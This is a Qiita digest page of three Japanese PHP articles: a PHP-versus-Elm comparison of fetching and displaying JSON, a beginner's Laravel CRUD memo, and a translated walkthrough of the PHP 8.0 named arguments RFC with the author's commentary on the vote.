20200713のPHPに関する記事は15件です。

API でデータを取得して表示させる処理を PHP と Elm で比較してみた

比較しようと思った動機

同僚と Elm の話になり、 Elm はコンパイルさえ通れば事実上実行時エラーはないという話と、実装コスト(特に初期実装)はめちゃ高いという話をした。Elm は純粋関数型言語なので前者は理解してもらえたようだが、後者の性質について実際に物を見せて比較した方がわかりやすいと思い PHP と比較してみようと思った。

やること

http://localhost:3333/text.json から、

{ "id": 1, "name": "hoge" }

という JSON を受け取って、

<div>
Id: 1
<br>
Name: hoge
</div>

と HTML で表示させることを考える。

PHP での実装

<?php
$json = file_get_contents('http://localhost:3333/text.json');
$user = json_decode($json, true);

echo '<div>';
echo 'Id: ' . $user['id'];
echo '<br>';
echo 'Name: ' . $user['name'];
echo '</div>';

PHP だと上記のように 10 行も書かずに実装できる。

Elm での実装

module Main exposing (main)

import Browser
import Html
import Json.Decode
import Http
import String

main : Program () Model Msg
main =
    Browser.element
        { init = init
        , update = update
        , view = view
        , subscriptions = \_ -> Sub.none
        }   

type alias User = 
    { id : Int 
    , name : String
    }   

type alias Model =
    { user : User
    }   

type Msg 
    = GetUser (Result Http.Error User)

init : () -> ( Model, Cmd Msg )
init _ = 
    let 
        cmd = Http.get
            { url = "http://localhost:3333/text.json"
            , expect = Http.expectJson GetUser decodeUser
            }   
    in  
    ( Model ( User 0 "" ), cmd )

update : Msg -> Model -> ( Model, Cmd Msg )
update msg model =
    case msg of
        GetUser result ->
            case result of
                Ok user ->
                    ( { model | user = user }, Cmd.none )
                Err err ->
                    ( model, Cmd.none )

view : Model -> Html.Html Msg
view model =
    Html.div []
        [ Html.text ( "Id: " ++ String.fromInt model.user.id )
        , Html.br [] []
        , Html.text ( "Name: " ++ model.user.name )
        ]

decodeUser : Json.Decode.Decoder User
decodeUser =
    Json.Decode.map2 User
        (Json.Decode.field "id" Json.Decode.int)
        (Json.Decode.field "name" Json.Decode.string)

PHP と比べてコード量が import や空行を除いても 5 倍程になっている。しかもコンパイル通すのに 25 回ほど修正した。

考察

期待通りの JSON データが得られなかった時

PHP の方は、例えば name 属性がなかったときは $user['name'] で Notice が出て、とりあえず空文字列が表示される。

<div>Id: 1<br>PHP Notice:  Undefined index: name in test.php on line 8
Name: </div>

一方 Elm だと update 関数の Err err の処理に入って初期値が表示される(ように実装してある)。その初期値は設定しないとコンパイルが通らないので、必ず設定されている。もちろん何のエラーも出ない。

API のエラー

わざとサーバーを止めて、各々 API 通信をしてみる。
PHP の方は下記のようなエラーが出る。そして id と name ともに空となる。

PHP Warning:  file_get_contents(http://localhost:3333/text.json): failed to open stream: Connection refused in test.php on line 2
<div>Id: <br>Name: </div>

一方 Elm の方は上記と同じように update 関数の Err err の処理に入って、同じように初期値が表示される。

おまけ: エラーの種類 (Elm)

update 関数の Err errerr には下記の 5 パターンが入る。つまり想定されているエラーは 5 種類である。一つ目の想定していない JSON データは BadBody エラーであり、二つ目のサーバーが起動していない場合は BadUrl エラーとなっている。

type Error
    = BadUrl String
    | Timeout
    | NetworkError
    | BadStatus Int
    | BadBody String

参考: https://package.elm-lang.org/packages/elm/http/latest/Http#Error

今回はどのエラーに対しても初期値を表示させるという実装にしたがエラーごとに値を変えることができる。

-- 略
Err err ->
    case err of
        BadUrl _ ->
            ( { model | user = { id = 100, name = "aaa" } }, Cmd.none )
        BadBody _ ->
            ( { model | user = { id = 999, name = "zzz" } }, Cmd.none )

しかし、上記ではコンパイルが通らない。それは他の 3 つのエラー (Timeout, NetworkError, BadStatus) について実装していないからである。もちろんその 3 つ対して case 文を書いてもいいが、その他のエラーとして扱いたい場合は _ を使うことで簡単に描ける。

-- 略
Err err ->
    case err of
        BadUrl _ ->
            ( { model | user = { id = 100, name = "aaa" } }, Cmd.none )
        BadBody _ ->
            ( { model | user = { id = 999, name = "zzz" } }, Cmd.none )
        _ ->
            ( model, Cmd.none )

上記のコードでコンパイルは通るようになる。

まとめ

Elm は学習コストや初期コストが高いが、コンパイルさえ通せば実行時エラーは起きないというめちゃすごいメリットを持っている。また、その性質はリファクタ時にも大いに有効になる。そのため、長い目で見れば Elm も技術選定の時に考慮してもいい言語なのかもしれないと思った。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel入門者向け 1時間でCRUDが使えるようになるLesson

Laravelのインストールや開発環境については既にそこら中にたくさん転がっているのでここでは割愛します。
さらにフォルダ構成についてもそこらへんに転がっているので必要最小限だけを解説します。

基本的に個人の健忘録的なメモなのであまり期待しないで下さい。

Laravelのコマンドの基本

基本はLaravelのフォルダからコマンドを叩いて使います
よく使うコマンドだけ紹介

php artisan

// オプトインサーバー起動
php artisan serve

// model制作(DB設定 カラム設計 バリデート)
// -mオプションを付けるとMigrationファイルも同時に生成してくれる
php artisan make:model ファイル名 -m

// コントローラー生成
php artisan make:controller ファイル名Controller

// コントローラー生成 CRUDリソース付き
php artisan make:controller ファイル名Controller --resource

// DB生成実行パート
php artisan migrate

// DB作り直し
php artisan migrate:fresh

// DB直前の命令を戻す
php artisan migrate:rollback

// ルーティングリスト確認
php artisan route:list

私が基本的によく使うコマンドは上記です。

ここからサクッと必要項目についての流れ

ルーティングを理解する

**初期状態**
Route::get('/', function () {
    return view('welcome');
});
**ざっくりルーティングを理解する**
Route::アクセスしてきたメソッド('②グローバルアドレス', function () {
    return view('welcome'); ビューを選択
});

とりあえず3つの要素で構成されている
Route:: はお約束として
- getはメソッドを表すがgetとpost以外は基本使わない
- getの引数にある '/' は http:://ドメイン/ にアクセスがあった場合
- ③はresorce/views フォルダにあるファイル名を指定している
views/配下にあるフォルダを指定する場合は「.」で繋ぐ

****
/resource/views/test/main.blade.php
return view('test.main');

とすればOK!

コントローラー&メソッドを呼び出す

Route::get('/sub','subsController@index');

コントローラーファイルは基本 /app/http/controllers/ 配下にある
上記は http://ドメイン名/sub にアクセスがあった場合に /app/http/controllers/subsController.php ファイルのindex()メソッドを呼び出す例

他にも出来るルーティング web.php

**初期状態**
Route::get('/', function () {
    $math = 2 * 3;
    $data = '2x3は'.$math.'でした!';
    return $data;
});

のようにViewを使わなくても表示されます。

モデルとマイグレーション

モデルはデータベースのことです。
マイグレーションは簡単に言えばDBテーブル設計のことで、リレーションを設定したりバリデーションルールを決めれます。

  • 作りたいテーブルを生成 shell php artisan make:model tests -m /database/migrations から 日付_create_tests_table.php が生成される
public function up()
    {
        Schema::create('tests', function (Blueprint $table) {
            $table->id();
            $table->string('name','20');
            $table->string('descript');
            $table->timestamps();
        });
    }

upの部分に必要なカラムを制作して php artisan migrate を実行するだけ

バリデーションとテーブルのルールを制作

/app 配下にテーブル名.phpのファイルが制作されているので該当するファイルを開く

protected $guarded   = ['id'];
または
protected $fillable = [
        'name', 'email', 'password',
    ];

などのルールを制作しておかないとデータ追加や更新の時にfill()メソッドが使えないのでどちらかを必ず設定しておくこと。

予約語 $guarded $fillable はホワイトリストとブラックリストの関係で成り立っており、$guaeded にidを指定しているとautoIncrementを設定していた時にIDが勝手に変更されてエラーが出ないように設定する意味がある。

必要最低限のバリデーションルールの設定

同じく/app/テーブル名.php を開いて設定

public static $rules = [
        'name'   => 'required',
        'descript' => 'required',
    ];

not null にしたいカラムに上記のように設定しておくとNullの場合にエラーを吐きます。

migration補足と注意事項

注意:XAMPPのMariaDBを使う場合はマイグレーションを実行した時にエラーが出ます。
文字数問題のことなんですが初見殺しなので記載

/app/Providers/AppServiceProvider.phpuse Illuminate\Support\Facades\Schema;Schema::defaultStringLength(191);の2行を追記すれば解決するとの事です

...
use Illuminate\Support\Facades\Schema;
...
public function boot()
{
    Schema::defaultStringLength(191);
}
...
作成に失敗したDB内のテーブルを全て削除して再びmigrateを実行すると問題なくtableが作成されました

また /config/database.php のcharset設定で utf8mb4を utf8_unicode_ciに設定すればOKです。
エラー詳細はこちら

コントローラー

コントローラーの役割は モデルとビューを繋ぐ役割だと考えています。
かなりざっくりですが最低限のCRUDを実装するためだけなら良いと思います(異論は認める)

use宣言

Modelと連携する為にはどのテーブルを使うかを宣言する必要があります。

use App\テーブル名; (複数形)

use宣言をしておいて各メソッドでテーブルの情報を呼び出しデータをビューに渡します。
またコントローラーはデータ加工パートでもあるのでごにょごにょした結果をビューに渡す流れもアリです。

シンプルなコントローラーでテーブルデータ呼び出しの例
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\テーブル名;

class subsController extends Controller
{
    public function index()
    {
        $data   = テーブル名::get();
        // dd($data);
        return view('sub',compact('data'));
    }
}

リクエストを受ける時

public function post(Request $req)
    {
        $data   = new \App\テーブル名;
        $data->fill($req->all())->save();
        return redirect('/sub')->with('flash_message', '投稿が完了しました');
    }

上記の(fill())フィルは(バリデーションとテーブルのルールを制作)で述べた予約語guardedかfillableを設定しておくことで使えます。

指定されたデータの検索

とりあえずfindでデータを表示出来る状態

public function edit(Request $id)
    {
        // echo $id->id;
        $data   = $id->id;
        $ids = テーブル名::find($id->id);
        return view('test.edit',compact('ids','data'));
    }

Bladeを使ったテンプレートレイアウト

Bladeを使ってびっくりしたのが子から親レイアウトを呼び出して使う流れです。
/resources/views/ に子ファイルを置き layouts にレイアウトの枠組みを設置して使う流れになってます。

慣例では layouts/メソッド名のフォルダ/ を作ってその中にレイアウトの大枠を置く感じです。
別に好きに指定指定良いようなのでLaravelは自由度が高いですね。

また、コントローラーの return view() で指定するのはあくまでコンテンツを呼び出すだけでOKです。

ちょっと疲れたので、この続きはまた後ほど書きたいと思いますw

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【PHP8.0】PHPに名前付き引数が実装される

全ぺちぱーが待ち望んでいた機能がついに来まするよ。

変な関数
function hoge($foo = null, $bar= false, $baz=0, $qux = ''){}

こんな関数があったとして、4番目の引数だけ変更したい、他はデフォルトのままでいいという場合、現在のPHPではいちいちデフォルト値を調べて与えないといけません。

めんどう
hoge(null, false, 0, 'fuga');

この問題解決のために、これまで幾つものRFCが立ち上がっては却下されてきました。
しかし今回この問題に、ついに決定的な解決策が提供されました。

名前付き引数
hoge(qux: 'fuga');

C#とかPythonとかの名前付き引数とだいたい同じです。

以下は該当のRFC、Named Argumentsの日本語訳です。

Named Arguments

Introduction

名前付き引数では、引数の順番ではなく、引数の名前に基づいて関数に引数を渡すことができます。
これにより、引数の意味が自己文書化され、引数の順序に囚われないようになり、デフォルト値を任意にスキップすることができるようになります。

// これまで
array_fill(0, 100, 50);

// 名前付き引数
array_fill(start_index: 0, num: 100, value: 50);

名前付き引数に渡す引数の順番は任意です。
上の例では関数シグネチャと同じ順番でしたが、異なる順番で渡すことも可能です。

array_fill(value: 50, num: 100, start_index: 0);

名前付き引数と通常の引数を組み合わせることも可能であり、オプション引数の一部のみを順番に関係なく指定することができます。

htmlspecialchars($string, double_encode: false);
// ↑同じ↓
htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'UTF-8', false);

What are the benefits of named arguments?

Skipping defaults

名前付き引数の明白な利点のひとつは、上記htmlspecialcharsの例に見て取れます。
変更したい引数までの間にある引数すべてにデフォルト値を指定する必要がなくなります。
名前付き引数を使用すると、変更したい引数だけを直接指定することができます。

これはskipparamsのRFCと似ていますが、名前付き引数のほうが意図がより明確になります。

htmlspecialchars($string, default, default, false);
// どっちがわかりやすい?
htmlspecialchars($string, double_encode: false);

たまたまhtmlspecialcharsの引数を全て暗記でもしていないかぎり、最初の例では最後のfalseが何を表しているのかわかりませんが、後者の例であればその意味が見ればわかります。

Self-documenting code

引数を省略しない場合でも、コードを自己文書化するメリットはあります。

array_slice($array, $offset, $length, true);
// 同じ
array_slice($array, $offset, $length, preserve_keys: true);

2つめの例がなかったとしたら、array_sliceの4番目のtrueが何を意味しているのかきっとわからないでしょう。

Object Initialization

プロパティ宣言を簡潔にするオブジェクト初期化子のRFCからひとつ例を取ってみます。

// Part of PHP AST representation
class ParamNode extends Node {
    public function __construct(
        public string $name,
        public ExprNode $default = null,
        public TypeNode $type = null,
        public bool $byRef = false,
        public bool $variadic = false,
        Location $startLoc = null,
        Location $endLoc = null,
    ) {
        parent::__construct($startLoc, $endLoc);
    }
}

コンストラクタは特に、引数の数が通常よりも多く、その順番は特に重要ではなく、一般的にデフォルト値がついていることが多いです。
オブジェクト初期化子はクラスの宣言をよりシンプルにしますが、クラスのインスタンス化は全くシンプルにしません。

オブジェクトの構築をより容易なものにしようとする試みは、Object InitializerCOPAなど、これまで幾度も行われてきました。
しかし、コンストラクタやprivateプロパティとの相性が悪く、言語にうまく統合することができなかったため、これらは全て却下されてきました。

名前付き引数は、既存の言語セマンティクスとうまく統合され、副作用としてオブジェクトの初期化問題を解決します。

new ParamNode("test", null, null, false, true);
// ↑は↓こうなる
new ParamNode("test", variadic: true);

new ParamNode($name, null, null, $isVariadic, $passByRef);
// ↑↓どっちだったっけ?
new ParamNode($name, null, null, $passByRef, $isVariadic);
// どっちだったとしても大丈夫
new ParamNode($name, variadic: $isVariadic, byRef: $passByRef);
// 順番なんてもはやどうでもいい
new ParamNode($name, byRef: $passByRef, variadic: $isVariadic);

オブジェクト初期化の際の名前付き引数の利点は、一見他の関数と同じですが、実際にはより利点が明確になるでしょう。

Type-safe and documented options

名前付き引数がなかったころの一般的な対策のひとつは、オプションを配列にすることです。
さきほどの例は、オプション配列を使うことで以下のように書き換えることができます。

class ParamNode extends Node {
    public string $name;
    public ExprNode $default;
    public TypeNode $type;
    public bool $byRef;
    public bool $variadic;

    public function __construct(string $name, array $options = []) {
        $this->name = $name;
        $this->default = $options['default'] ?? null;
        $this->type = $options['type'] ?? null;
        $this->byRef = $options['byRef'] ?? false;
        $this->variadic = $options['variadic'] ?? false;

        parent::__construct(
            $options['startLoc'] ?? null,
            $options['endLoc'] ?? null
        );
    }
}

// 使い方
new ParamNode($name, ['variadic' => true]);
new ParamNode($name, ['variadic' => $isVariadic, 'byRef' => $passByRef]);

これも動作しますし、現在すでに使用可能ですが、デメリットも多く存在します。

・せっかくのオブジェクト初期化子が利用できない。
・オプション配列は関数シグネチャに記載されないため、何が使えるかは実装やPhpdocを見ないとわからない。またPhpdocにはオプション配列を表記する統一方法がない。
・オプション配列の値の型は型宣言で検証することができない。
・よほど厳格にチェックしないかぎり、未知のオプションを渡してもそのまま動いてしまう。
・最初からオプション配列を導入していないかぎり、後からオプション配列の引数に切り替えることは難しい。

名前付き引数であれば、オプション配列と同程度のメリットを、デメリットなく受容することができます。

Attributes

Phpdocアノテーションにおいては名前付き引数の使用は既に広まっています。
アトリビュートのRFCではPhpdocアノテーションをファーストクラス言語機能に取り入れていますが、名前付き引数には対応していません。
すなわちアノテーションをアトリビュートに移行するためには、構造を変更しなければならないことを意味します。

たとえばSymfonyのRouteアノテーションは多くのオプショナル引数を受け取ります。
現在、アノテーションのアトリビュートへの移行は以下のようになります。

/**
 * @Route("/api/posts/{id}", methods={"GET","HEAD"})
 */
public function show(int $id) { ... }

// ↑は↓こうならざるを得ない

<<Route("/api/posts/{id}", ["methods" => ["GET", "HEAD"]])>>
public function show(int $id) { ... }

名前付き引数を導入することで、移行前と全く同じ構造でアトリビュートを指定することが可能になります。

<<Route("/api/posts/{id}", methods: ["GET", "HEAD"])>>
public function show(int $id) { ... }

ネストされたアノテーションのサポートが不十分なため完全に同じとまではいきませんが、移行をよりスムーズにすることはできます。

Proposal

Syntax

名前付き引数は、引数名にコロンを続けて値を渡します。

callAFunction(paramName: $value);

引数名として予約済キーワードも使用可能です。

array_foobar(array: $value);

引数名は固定値でなければならず、動的に指定することはできません。

// だめ
function_name($variableStoringParamName: $value);

定数もサポートされません。
なぜならfunction_name(FOO: $value)の変数名はそのままFOOなのか、それとも定数FOOの値なのかが区別できないからです。
引数名を動的に指定する別の方法については後述します。

技術的に実現可能な代替構文が幾つか存在します。

function_name(paramName: $value);    // (1) RFCの提案
function_name(paramName => $value);  // (2)
function_name(paramName = $value);   // (3)
function_name(paramName=$value);     // (3) 3のバリエーション
function_name($paramName: $value);   // (4)
function_name($paramName => $value); // (5)

以下の構文は、現在既に正しいコードであるため使用できません。

function_name($paramName = $value);

このRFCの旧バージョンでは、バリアント2の構文を使用していました。
しかし、実際に導入してみると問題が多く、人間に優しくないことがわかりました。
より良いかもしれない追加の構文については、Future Scopeセクションを参照してください。

Constraints

ひとつの関数で位置引数と名前付き引数の両方を指定することができますが、名前付き引数は位置引数の後ろに来なければなりません。

// OK
test($foo, param: $bar);
// コンパイルエラー
test(param: $bar, $foo);

同じ引数を複数回渡すと例外が発生します。

function test($param) { ... }

// Error: Named parameter $param overwrites previous argument
test(param: 1, param: 2);
// Error: Named parameter $param overwrites previous argument
test(1, param: 2);

ひとつめは同じ名前を2回指定している単純なミスです。
ふたつめは、位置引数と名前付き引数が両方とも同じ引数を指しているため、これもエラーです。

後述する可変変数を除いて、存在しない引数を指定すると例外になります。

function test($param) { ... }

// Error: Unknown named parameter $parma
test(parma: "Oops, a typo");

Variadic functions and argument unpacking

可変長引数...$argsで定義された関数では、名前付き引数も$argsに集約されます。
名前付き引数は常に位置引数の後ろになり、順番は引数に渡された順です。

function test(...$args) { var_dump($args); }

test(1, 2, 3, a: 'a', b: 'b');
// [1, 2, 3, "a" => "a", "b" => "b"]

引数アンパックは名前付き引数にも対応しています。

$params = ['start_index' => 0, 'num' => 100, 'value' => 50];
array_fill(...$params);

文字列キーの値は名前付き引数として扱われます。
整数キーは通常の位置引数として扱われ、整数値は無視されます。
整数でも文字列でもないキー(イテレータでのみ現れることがある)はTypeErrorになります。

引数アンパックも、名前付き引数は位置引数の後ろになければならないという制限に従います。
以下の呼び出しはどちらも例外になります。

// どちらもエラー
array_fill(...['start_index' => 0, 100, 50]);
array_fill(start_index: 0, ...[100, 50]);

さらに引数アンパックは、...の後ろに引数を追加することができないという、元からあった制限も受け継ぎます。

test(...$values, $value); // Compile-time error (as before)
test(...$values, paramName: $value); // Compile-time error

可変長引数と引数アンパックのよくある使い方のひとつは、引数の転送です。

function passthru(callable $c, ...$args) {
    return $c(...$args);
}

可変長引数も引数アンパックも既に名前付き引数をサポートしているので、このパターンは名前付き引数が導入されても動作は変わりません。

func_get_args() and friends

func_*()系の関数では、全ての引数が位置引数として渡されたかのように扱われ、未指定の引数はデフォルト値になります。
たとえば以下のようになります。

function test($a = 0, $b = 1, $c = 2) {
    var_dump(func_get_args());
}

test(c: 5); // array(3) { [0] => 0, [1] => 1, [2] => 5 }

// ↓と全く同じ
test(0, 1, 5);

func_num_args()func_get_arg()も、func_get_args()と一致する動作となっています。
3つの関数は全て未知の名前付き引数を無視します。
func_get_arg()は値を返さず、func_num_args()はカウントしません。
未知の名前付き引数は直接値にアクセスした場合にのみアクセス可能です。

call_user_func() and friends

call_user_func()call_user_func_array()などの呼び出し転送を行う関数も、名前付き引数をサポートします。

$func = function($a = '', $b = '', $c = '') {
    echo "a: $a, b: $b, c: $c\n";
}

// 全部同じ
$func('x', c: 'y');
call_user_func($func, 'x', c: 'y');
call_user_func_array($func, ['x', 'c' => 'y']);

これらの呼び出しも他と同様の制限を受けます。
たとえば、名前付き引数の後ろに位置引数を書くことはできません。

call_user_func_array()は微妙に後方互換性がありません。
以前は、配列のキーは完全に無視されていましたが、今後は文字列キーが引数名として解釈されるようになります。

call_user_funcを基本形として、ReflectionClass::newInstance()ReflectionClass::newInstanceArgs()など類似の関数にも同じ対応が適用されます。

__call()

__invoke()と異なり、__call()__callStatic()マジックメソッドは名前付き引数の有無で動作を区別しません。
最大限の互換性を保つため、__call()は可変長引数と同様に引数の配列として渡します。

class Proxy {
    public function __construct(
        private object $object,
    ) {}
    public function __call(string $name, array $args) {
        // $name == "someMethod"
        // $args == [1, "paramName" => 2];
        $this->object->$name(...$args);
    }
}

$proxy = new Proxy(new FooBar);
$proxy->someMethod(1, paramName: 2);

Attributes

アトリビュートも名前付き引数をサポートします。

<<MyAttribute('A', b: 'B')>>
class Test {}

通常の呼び出しと同様、名前付き引数の後に位置引数を渡すとコンパイルエラーになり、同じ名前の引数を複数回渡すとコンパイルエラーになります。

ReflectionAttribute::getArguments()は、位置引数と名前付き引数を可変長引数と同じ形式で返します。

var_dump($attr->getArguments());
// array(2) {
//   [0]=>
//   string(1) "A"
//   ["b"]=>
//   string(1) "B"
// }

ReflectionAttribute::newInstance()メソッドも、通常の呼び出しと同じ規則で名前付き引数をコンストラクタに渡します。

Parameter name changes during inheritance

現在のところ、引数名は継承の対象ではありません。
これは位置引数だけを使用する場合は合理的でした。
引数名は呼び出し側には無関係だからです。

名前付き引数ではここが変更になります。
継承したクラスが引数名を変更すると、名前付き引数の呼び出しが失敗する可能性があり、リスコフの置換原則に違反します。

interface I {
    public function test($foo, $bar);
}

class C implements I {
    public function test($a, $b) {}
}

$obj = new C;

// インターフェイスに従ったのにエラー
$obj->test(foo: "foo", bar: "bar"); // ERROR!

他の言語ではこの問題をどのように処理しているかを、ここで詳細に分析しています。
結果をまとめると、
・PythonとRubyは引数名の変更を許可し、呼び出し時にエラー
・C#とSwiftはオーバーロード。オーバーライドするとエラー。PHPはオーバーロードできないため真似できない。
・Kotlinは引数名変更時に警告を出し、呼び出すとエラー。

多くの言語が名前付き引数を後付けで実装しているため、既存のコードに影響を出さないように、引数名の違いを無条件で警告することは賢明ではないと考えられます。

このRFCでは、PythonやRubyのモデルに従うことを提案しています。
すなわち、PHPは継承時の引数名変更を許容しますが、その結果、引数名を変更したメソッドを呼び出すと実行時例外が発生する可能性があります。
静的解析ツールやIDEは、引数名の不一致に警告を出し、その警告を抑制可能にすることが推奨されます。

これは、名前付き引数が多くのメソッドにはあまり関係なく、名前の変更された引数を使用しても問題にしないことを認める、実用面から見たアプローチです。
offsetGet()のようなメソッドを名前付き引数で呼び出すことは考えにくいですし、継承時に同じ引数名を強制するメリットもありません。

前述のように、幾つかの他言語でもこのアプローチが採用されており、特にPythonは名前付き引数の使用が多い言語です。
このようなアプローチが実際にそれなりにうまく機能しているという実証になるでしょう。

このRFCには含まれていませんが、今後必要性が高くなった場合の代替案がAlternativesセクションにて開設されています。

Internal functions

歴史的に、内部関数には引数のデフォルト値という統一された概念がありませんでした。
どの引数がオプションであるかは外からわかりますが、デフォルト値は実装が仕様であり中を見ないことにはわかりません。

PHP8.0以降、内部関数には外部から取得できるデフォルト値を定義することが可能になりました。
そしてPHPにバンドルされている内部関数では既に対応されています。
このRFCは、そのデフォルト値の情報に基づいています。
スキップされた引数は、関数を呼び出す前にデフォルト値に置き換えられます。

しかし、全ての引数に対してデフォルト値という概念を適用することはできません。
例えば以下のようなものです。

function array_keys(array $arg, $search_value = UNKNOWN, bool $strict = false): array {}

array_keys()関数は$search_valueが存在するか否かによって、根本的に異なる動作をします。
$search_valueに渡すことのできるデフォルト値というものはなく、この場合は引数を渡さないのと同じ動作になります。
このような引数はUNKNOWNと表し、引数をスキップすると例外が発生します。

// こっちはOK
array_keys($array, search_value: 42, strict: true);

// Error: Argument #2 ($search_value) must be passed explicitly, because the default value is not known
array_keys($array, strict: true);

$search_valueを指定せずに$strictを指定しても意味がないので、これは想定された動作だといえます。

このアプローチの欠点は、動作させるためにデフォルト値の情報を提供しなければならないことです。
まだこの情報を提供していないサードパーティの拡張モジュールは、名前付き引数は動作しますが、引数のスキップはサポートしません。

このRFCの以前のバージョンで行おうとしていた代替案は、未定義値をスタック上に残し、内部パラメータ解析機構(ZPP)によって適切に解釈させることでした。
これは概ね動作しますが、一部のケース、特に明示的にZEND_NUM_ARGS()を使って引数カウントしている場合は、動作を誤ったりクラッシュする可能性もあります。

Documentation / Implementation mismatches

現在、ドキュメントの引数名と実装上の引数名は、常に一致しているとはかぎりません。
このRFCが受理された場合は、この両者の引数を同期させます。
これには、引数名の命名ガイドラインを作成することも含まれます。

Internal APIs

上記のとおり、名前付き引数は内部関数においてはほぼ透過的です。
内部関数は、呼び出しが名前付き引数で行われたかどうかにかかわらず、通常の位置引数で実行されます。
そのため、ほとんどの場合はコードの修正は必要ありません。

特殊なケースとして可変長引数があります。
これは未知の名前付き引数をextra_named_paramsに保存し、ZEND_CALL_HAS_EXTRA_NAMED_PARAMSを立て、execute_dataをコールします。
ほとんどの内部関数は、この情報を使用して有用なことを行うことはできないため、Z_PARAM_VARIADICZ_PARAM_VARIADIC_EXマクロを使う関数は、未知の名前付き引数に遭遇すると自動的にArgumentCountErrorをスローします。

array_merge([1, 2], a: [3, 4]);
// ArgumentCountError: array_merge() does not accept unknown named parameters

未知の名前付き引数を受け入れたい関数は、これらのかわりにZ_PARAM_VARIADIC_WITH_NAMEDマクロを使用する必要があります。

zval *args;
uint32_t num_args,
HashTable *extra_named;
ZEND_PARSE_PARAMETERS_START(0, -1)
    Z_PARAM_VARIADIC_WITH_NAMED(args, num_args, extra_named)
ZEND_PARSE_PARAMETERS_END();

zend_call_function()は、zend_fcall_info構造体に新しいフィールドを追加することで、名前付き引数をサポートするよう拡張されました。

typedef struct _zend_fcall_info {
    /* ... */
    HashTable *named_params;
} zend_fcall_info;

zend_fcall_info構造体をサポートしている初期化関数を使わず手動で初期化する場合は、このフィールドをNULLで初期化する必要があります。

Backwards incompatible changes

狭義には、このRFCにはひとつだけ後方互換性のない変更があります。
call_user_func_array()の引数の文字列キーは、これまでは無視されていましたが、名前付き引数として解釈されるようになります。

それに加え、名前付き引数を想定していないコードで名前付き引数を使用した場合に発生する可能性のある潜在的な問題が2点あります。

ひとつめは、引数名が重要なものとなったので、継承で変更すべきではありません。
そのような変更を行う既存のコードは、実質的に名前付き引数と互換性がないかもしれません。

第二に、可変変数による未知の名前付き引数をうまく扱えないかもしれません。
ほとんどの場合は単に無視されるだけなので無害です。

Alternatives

代替案。
このRFCには含まれません。

To named arguments

私の知っている名前付き引数の実装には2種類の代替案があり、以下に簡単に説明します。

ひとつめは、名前付き引数をオプトインにすることです。
このRFCでは全ての関数・メソッドを名前付き引数で呼び出すことができますが、明示的なオプトインを必要とすることで引数名の変更の問題などを回避することができます。

このアプローチの大きな欠点は、もちろん、名前付き引数が既存のコードで使えないことです。
これはこの機能にとって大きな損失であり、もはや導入する価値がないと考えています。

名前付き引数を望まない機能のために<<NoNamedArgs>>のようなオプトアウトメカニズムを用意する方が、まだ建設的だと思います。
例としてArrayAccessインターフェイスなどがあり、これは直接呼び出されることはなく、実装ごとに引数名が異なるのが普通です。

To parameter name changes during inheritance

このRFCでは、継承時の引数名の変更を黙認します。
これは実用的ですが、引数名を変更されている子オブジェクト上でメソッドを呼び出した際に、エラーが発生する可能性があります。
代替として、親メソッドでの引数の使用も許可する案があります。

interface I {
    public function test($foo, $bar);
}

class C implements I {
    public function test($a, $b) {}
}

$obj = new C;

// C::test()と合ってる
$obj->test(a: "foo", b: "bar");     // 動く
// I::test()と合ってる
$obj->test(foo: "foo", bar: "bar"); // こっちもOKにしてしまう

親クラスには引数名foobarに対応したメソッドがあるため、実際にはabとして解釈します。
これにより、このメソッドは疑似的にLSPを満たすようになります。

親メソッドの引数はエイリアスとして登録されますが、特定のシグネチャには縛られません。
従って、異なるシグネチャを混ぜて使うことも可能です。
もちろん推奨はされません。

$obj->test(a: "foo", bar: "bar"); // これも動く

設計的には、この呼び出しは禁止した方がよいでしょうが、技術的にも性能的にも対応するコストを書ける意味はなさそうです。

この方式にはひとつ問題があります。
以下はどう解釈すればよいでしょうか。

interface I {
    public function test($foo, $bar);
}

class C implements I {
    public function test($bar, $foo) {}
}

この場合、LSPの継承チェックは単に致命的エラーを出します。
この制限は、実は引数名の変更を禁止するよりも影響が少ないと思われます。
Composerライブラリのトップ2000を調査した結果はhttps://gist.github.com/nikic/6cc9891381a83b8dca5ebdaef1068f4dで見ることができます。

Future Scope

この項目は今後の展望であり、このRFCには含まれていません。

Shorthand syntax for matching parameter and variable name

特にコンストラクタでは、同じ名前のプロパティに引数を代入することが一般的です。

new ParamNode(
    name: $name,
    type: $type,
    default: $default,
    variadic: $variadic,
    byRef: $byRef
);

言語によっては、同じ名前を2回繰り返すことを避けるために特別な構文を提供しているものもあります。
名前付き引数の代替案に応じて、各省略構文がどのようになるかを見てみましょう。

new ParamNode(:$name, :$type, :$default, :$variadic, :$byRef);
new ParamNode(=$name, =$type, =$default, =$variadic, =$byRef);
new ParamNode(=> $name, => $type, => $default, => $variadic, => $byRef);

Positional-only and named-only parameters

このRFCの有用な拡張として考えられるものは、位置引数としてしか使用できない引数、または名前付き引数としてしか使用できない引数を定義することです。
これは主にAPI設計者にとって、より自由度が高くなります。
位置引数のみの引数は名前を自由に変更することができ、名前付き引数のみの引数は順番を自由に入れ替えることができます。

Vote

投票は2020/07/24まで、投票の2/3の賛成で受理されます。
2020/07/13時点では賛成35、反対14で賛成が多めです。

というか投票開始直後は賛成9反対8とかで却下圏内だったんですよね。
驚きのあまり普段滅多にしない応援ツイートなんてやってしまいましたよ。

その後は応援ツイートのおかげで持ち直し1ましたが、それでもまだ簡単にひっくり返る程度の票差です。
投票権を持ってる人はYESに投票しよう!

感想

先日Nikitaがプルリクを出してからずっと注目してたRFCなんですよね。

正直満場一致かそれに近い票数になると思ってたので、これだけ反対票が多いのはかなり意外でした。
やはり細かいとはいえ互換性がなかったり動作が微妙だったりするところが気になったりしたのでしょうか。
call_user_func_array()なんて使うんじゃねえ、と言えればいいのでしょうがそうにも行きませんしね。

ということで、おそらくPHP8.0からは名前付き引数が使用可能になるはずです。

何が便利って、呼び出し側で引数の意味がすぐにわかるのが大きいです。
なにしろPHPには引数の順番が異なる関数なんかがたくさんあったりしますからね。
strposは全文字列が1番目、検索対象文字列が2番目なのにpreg_matchは全文字列が2番目で検索対象文字列が1番目だったりとか。
array_*系なんてぐちゃぐちゃですしね。

これが$pos = strpos(heystack:$heystack, needle:$needle); preg_match(subject:$subject, pattern:$pattern, matches:$matches);のようにわかりやすく書けるようになるのは素晴らしいことです。

